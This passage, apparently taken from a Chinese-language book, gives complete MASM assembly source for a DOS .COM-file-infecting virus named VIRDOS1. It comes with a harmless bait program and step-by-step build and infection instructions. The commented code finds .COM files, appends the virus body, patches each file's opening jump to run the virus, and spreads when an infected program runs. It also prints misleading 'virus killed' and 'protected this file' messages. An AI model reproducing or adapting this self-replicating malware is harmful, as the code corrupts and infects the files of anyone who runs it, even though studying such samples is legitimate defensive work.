===========BEGIN OF LJ.ASM============
請在DOS下用MASM 5.O編譯,然後用LINK.EXE串連.最後用EXE2BIN串連成.COM檔案,格式如下:
C:/>MASM LJ.ASM 產生.OBJ檔案及.LST檔案
C:/>LINK LJ.OBJ 產生.EXE檔案
C:/>EXE2BIN LJ.EXE LJ.COM
即產生LJ.COM檔案,然後即可直接運行,該程式無任何目的,只用於被病毒感染調試用,可直接運行,格式如下:
C:>LJ
.19.
原程式如下:
SEG_A SEGMENT BYTE PUBLIC
ASSUME CS:SEG_A, DS:SEG_A
ORG 100H
LJJ2 PROC FAR
START:
JMP REAL_START
REAL_START:
NOP
NOP
NOP
MOV AH,4CH
INT 21H
LJJ2 ENDP
SEG_A ENDS
end start
=============BEGIN OF VIRDOS1.ASM============(.COM檔案病毒)
(1)請在DOS下用MASM 5.O編譯,然後用LINK.EXE串連.最後用EXE2BIN串連成.COM檔案,格式如下:
C:/>MASM VIRDOS1.ASM 產生.OBJ檔案及.LST檔案
C:/>LINK VIRDOS1.OBJ 產生.EXE檔案
C:/>EXE2BIN VIRDOS1.EXE VIRDOS1.COM
即產生VIRDOS1.COM檔案,然後即可運行,先看一個偵錯工具LJ.COM的位元組數(如10個位元組長度) 運行格式如下:
C:>VIRDOS1 LJ.COM
在DOS下運行上述命令後即可看到LJ.COM檔案位元組變長,這就是LJ.COM被病毒VIRDOS1.COM第一次感染後的結果.我們可以用COPY命令複製一個同LJ.COM(如10個位元組長度)原程式一樣的程式(未被病毒感染的程式),叫LJ1.COM吧!
被病毒感染的LJ.COM在DOS下啟動並執行格式:
C:>LJ.COM
運行過後我們再查看LJ1.COM檔案長度是否變長了,是的話即LJ1.COM也被病毒感染了.
;本程式調試請使用TR或DEBUG
GoHead MACRO
MOV AX,4200H ;移動檔案指標至檔案頭
XOR CX,CX
XOR DX,DX
INT 21H
ENDM
GoTail MACRO
MOV AX,4202H ;移動檔案指標至檔案尾
XOR CX,CX
XOR DX,DX
INT 21H
ENDM
CODE SEGMENT
ORG 100H
ASSUME CS:CODE;DS:CODE
START: JMP INIZ ;無條件轉到INIZ(目的執行病毒釋放程式)
BEGIN:
JMP START1 ;執行病毒第一條指令
FN DB '*.COM',0 ;用於搜尋所有.COM檔案的偽定義
COM_SH_LEN DW 0000H ;用於目的檔案長度的偽定義(因為病毒載入目的檔案時要
;計算目的檔案長度)
ENDCDE DB 0
OPENMSG DB '***OPEN ERROR ***',0DH,0AH ;第一次想要釋放病毒時開啟目的檔案錯誤
FTYPE DB 0
HDI DW 0
.22.
QQ DW 0
KT DW 0
LEN DD 0
BUF DB 1024 DUP(0) ;緩衝區1024位元組
; STR DB 0DH,0AH,"NO -MATCH! $"
STR1 DB 0DH,0AH,"FOUND DABIVIRUS,KILLED!$"
;STR2 DB 0DH,0AH,"FOUND DABIVIUFS IN MEMORY RDBOOT WITHNO-VIRUS! $"
BUT DW 0000H
COM_HANDLE DW 0000H ;檔案控制代碼
INT13H DD 0000H ;中斷13的儲存地址
INT21H DD 0000H ;中斷21的儲存地址
INT2FH DD 0000H ;中斷2F的儲存地址
JJ DW 0000H
CURRENT_INT DD 3 DUP(0)
TF DB 2 DUP(0)
COM_BUF DB 0E9H,0,0
COM_BU DB 3 DUP(0)
HEAD1 DB 10 DUP(0)
HEAD7 DB 7 DUP(0)
HEAD3 DB 3 DUP(0)
READ_BUF DB 10 DUP(0)
HEAD2 DB 10 DUP(0)
COM_MSG DB 0AH,0DH
DB "Notice Ifound Unknow Virus.."
db 0AH,0DH
DB "Now,I kill it"
DB 0AH,0DH,'$'
LJG DB 0AH,0DH
DB "I cat not write back file"
DB 0AH,0DH,'$'
START1:
MOV AH,30H 取DOS版本
INT 21H
CMP BL,5BH 是5.0版嗎,不是轉NEXT
JNZ NEXT
; LEA DX,STR2+7
JMP EXIT7 ;無條件轉EXIT7
NEXT: MOV BL,DS:[80H] ;取.COM檔案80H緩衝區.(80H區作用請參考本書其他章節)
OR BL,BL ;BL或運算
; JNZ NEXT1
JMP NEXT1 ;轉NEXT1
NEXT1:XOR BH,BH ;BH或運算
.23.
MOV BYTE PTR [BX+81],0 ;[BX+81]單元置0
MOV SI,81H ;SI=81H
LOOP1:LODSB
CMP AL,20H ;SI是否為空白格,相等轉LOOP1,不相等SI=SI-
JZ LOOP1
DEC SI
LEA DI,FN+[DI] ;DI=檔案被病毒感染後的(*.COM)字元
PUSH BX
; PUSH DI
MOV CX,BX ;不為0時重複傳送指令
REPNZ MOVSB
XOR CX,CX ;取被病毒感染後0101單元內容,該內容記載病毒程式的入口位置
MOV DI,101H
MOV BX,[DI]
LEA DX,FN+[BX] ;被病毒感染後.COM字元的正確位置
MOV CX,0
MOV AH,4EH ;搜尋.COM檔案
INT 21H
LOOP2:JNC NEXT2 ;沒錯轉NEXT2
JMP EXITE
NEXT2:
MOV DI,00H
MOV BP,0101H
MOV DI,[BP] ;取被病毒感染後0101單元內容,該內容記載病毒程式的入口位置送DI
PUSH DI
XOR CX,CX
; LEA SI,READ_BUF+[DI]
LEA SI, HEAD3+[DI] ;恢複被病毒感染後原檔案第一條指令,以便檔案能正常運行
MOV DI,100H
MOV CX,3
CLD
REP MOVSB
POP DI
MOV AH,2FH
INT 21H
PUSH ES ;設定磁碟傳送地址
POP DS
ADD BX,1EH
PUSH BX
; POP DI ;計算BX在80區的正確位置
POP DX
.24.
CALL SCAN ;調用搜尋模組,成功轉YY
JNC YY
JMP EXITE
YY: MOV AH,4FH ;搜尋下一個.COM檔案
INT 21H
JC EXIT7
JMP LOOP2
EXIT7:JMP DI ;轉0100H繼續執行原檔案
SCAN PROC NEAR ;搜尋.COM檔案模組
MOV SI,DX ;SI=DX
; POP DI
MOV BP,DI ;BP=DI
PUSH BP ;BP入棧
CALL DISP ;調用顯示字母(檔案名稱.COM)字元模組
CLD ;去方向
LP1:LODSB ;裝入AL
CMP AL,'.' ;比較是否為”.”字元
JZ SL ;相等轉SL
CMP AL,0 ;比較是否為0,不相等轉LP1
JNZ LP1
JMP EXITS
SL:LES AX,[SI] ;將SI的單元內容送AX,SI+2=ES的單元內容送BX
MOV BX,ES
CMP AX,4F43H ;比較是否為CO字元
JNZ EXITS ;不相等轉EXITS
CMP BL,4DH ; 比較是否為M字元
JNZ EXITS ;不相等轉EXITS
JMP GOKILL ;轉GOKILL
GOKILL:CALL KILL ;調用感染模組
EXITE: XOR AX,AX
XOR BX,BX
XOR DX,DX ;寄存器清0,並轉0100H執行原檔案
XOR SI,SI
MOV DI,0100H
JMP DI
EXITS:RET
SCAN ENDP
KILL PROC NEAR
MOV AX,3D02H ;讀寫開啟檔案
INT 21H ;開啟目標檔案的.COM檔案,準備感染(目標檔案的意思是正在啟動並執行檔案
JNC COM ;如A.COM開啟另一個B.COM檔案
.25.
JMP EXITK
COM:MOV BX,AX
;MOV DI,00H
;MOV BP,0101H
;MOV DI,[BP]
MOV AX,4200H
XOR CX,CX ;移動檔案指標至檔案頭
MOV DX,0
INT 21H
MOV CX,3
LEA DX,COM_BUF+[DI] ;讀檔案頭三個位元組入正在啟動並執行檔案COM_BUF+[DI]位移地址
MOV AH,3FH ;處
INT 21H
;JMP COM1
MOV AX,4200H
XOR CX,CX
MOV DX,0 ;移動檔案指標至檔案頭
INT 21H
MOV CX,3
LEA DX,HEAD3+[DI] ;讀檔案頭三個位元組入正在啟動並執行檔案HEAD3+[DI]位移地址處
MOV AH,3FH
INT 21H
JMP COM1 ;轉COM1
COM1:MOV AL,COM_BUF+[DI] ;比較目標檔案0100H處是否為此0E9H(即JMP)
CMP AL,0E9H ;是的話轉COM2準備感染
JZ COM2
JMP EXITR
COM2:
GoTail ;移動檔案指標至檔案尾
MOV WORD PTR [COM_SH_LEN+[DI]] ,AX ;目標檔案長度送[COM_SH_LEN+[DI]]的位移地址處
ADD AX,0FFFDH ;AX=目標檔案長度-2
MOV WORD PTR [COM_BUF+1+[DI]],AX ;送入[COM_BUF+[DI]]
PUSH AX ;AX入棧
; MOV WORD PTR [TF+[DI]],AX
LEA DX, BEGIN+[DI] ;將BEGIN+[DI]位移地址送DX
MOV CX,063DH ;寫病毒CX=063DH(H為十六進位)入目標檔案
; ADD WORD PTR COM_SH_LEN+[BP],CX
MOV AH,40H
INT 21H
JMP HL
HL:
.26.
MOV AX,4200H
XOR CX,CX ;移動檔案指標至0101H處
MOV DX,1
INT 21H
POP AX ;AX出棧(AX=目標檔案長度-2)
MOV WORD PTR KT+[DI],AX ;送入KT+[DI]位移地址處
MOV AH,40H
LEA DX,KT+[DI] ;寫2個位元組入0101H處,目的是目標檔案被病毒感染後第一條指令
MOV CX,2 ;被修改成(JMP 後加病毒入口地址)
INT 21H
JMP EXITR
EXITR:MOV AH,3EH ;關閉檔案
INT 21H
EXITK:RET ;返回調用處
KILL ENDP
DISP PROC NEAR
PUSH SI
MOV AL,0DH
MOV AH,0EH
INT 10H
MOV AL,0AH ;顯示字元模組,搜尋時顯示(檔案名稱.COM)
MOV AH,0EH
INT 10H
CLD
DD1:LODSB
CMP AL,0
JZ EXITD
MOV AH,0EH
INT 10H
JMP DD1
EXITD:POP SI
RET
DISP ENDP
INIZ:
MOV AX,3513H
INT 21H
MOV WORD PTR INT13H,BX ;取中斷13向量地址送入;INT13H,INT13H+2
MOV WORD PTR [INT13H+2],ES ;位移地址處
MOV AX,3521H
INT 21H
MOV WORD PTR INT21H,BX ;取中斷21向量地址送入INT21H,INT21H+2位移地址處
MOV WORD PTR [INT21H+2],ES
.27.
MOV AX,352FH
INT 21H
MOV WORD PTR INT2FH,BX ;取中斷2F向量地址送入INT2FH,INT2FH+2位移地址處
MOV WORD PTR [INT2FH+2],ES
PUSH DS ;DS=ES
POP ES
MOV SI,082H ;SI=082H
MOV DI,OFFSET PATH ;DI=PATH單元
CLD ;去方向
MOVE:
CMP BYTE PTR DS:[SI],0DH ;比較是否有斷行符號鍵
JE CON4 ;相等轉CON4
MOVSB ;不相等重複傳送位元組
JMP MOVE ;無條件轉MOVE
CON4:
XOR AL,AL
MOV ES:[DI],AL ;PATH位移地址送DX
MOV DX,OFFSET PATH ;按路徑開啟檔案名稱(格式為原檔案名稱 目的檔案名稱)
MOV AX,3D02H ;準備第一次感染
INT 21H
JNC CONTINUE ;開啟成功轉CONTINUE
JMP OPEN_ERROR
CONTINUE:
MOV DS:HANDLE,AX ;檔案控制代碼送DS:HANDLE,BX
MOV BX,AX
GoHead ;移動檔案指標至檔案頭
MOV BX,DS:HANDLE
MOV AH,3FH
MOV DX,OFFSET READ_BUF ;讀檔案頭10個位元組入READ_BUF
MOV CX,10
INT 21H
MOV SI,OFFSET READ_BUF
MOV DI,OFFSET HEAD3 ;三個送HEAD3地址位移處
MOV CX,3
CLD
REP MOVSB
MOV CX,7
MOV DI,OFFSET HEAD7 ;七個送HEAD7
REP MOVSB
GoTail ;移動檔案指標至檔案尾
MOV WORD PTR COM_SH_LEN,AX ;AX=目標檔案長度-2
ADD AX,0FFFDH
MOV WORD PTR [COM_BUF+1],AX
.28.
ADD AX,0FFFEH ;AX=目標檔案長度-3
MOV WORD PTR BUT,AX ;送入BUT位移地址
MOV DX,OFFSET BEGIN
MOV CX,OFFSET INIZ ;計算INIZ-BEGIN地址單元中長度送CX,即計算病毒長度-3
SUB CX,OFFSET BEGIN
ADD WORD PTR COM_SH_LEN,CX ;寫病毒程式入目標檔案(長度=CX)
MOV AH,40H
INT 21H
GoHead ;移動檔案指標至檔案頭
MOV DX,OFFSET COM_BUF
MOV CX,3 ;寫三個位元組COM_BUF處內容寫入目標檔案頭
MOV AH,40H
INT 21H
MOV AH,3EH ;關閉檔案
INT 21H
MOV AH,09H
MOV DX,OFFSET MSG2
INT 21H
JMP EXIT
OPEN_ERROR:
MOV AH,09H
MOV DX,OFFSET MSG1
INT 21H
EXIT:
MOV AH,4CH ;結束並返回DOS
INT 21H
PATH DB 62 DUP(0) ;檔案路徑用的緩衝區
MSG1 DB 0DH,0AH,"File can not open!$"
MSG2 DB "Now I have pritected this file.$"
HANDLE DW 0000H ;檔案控制代碼用
CODE ENDS
END START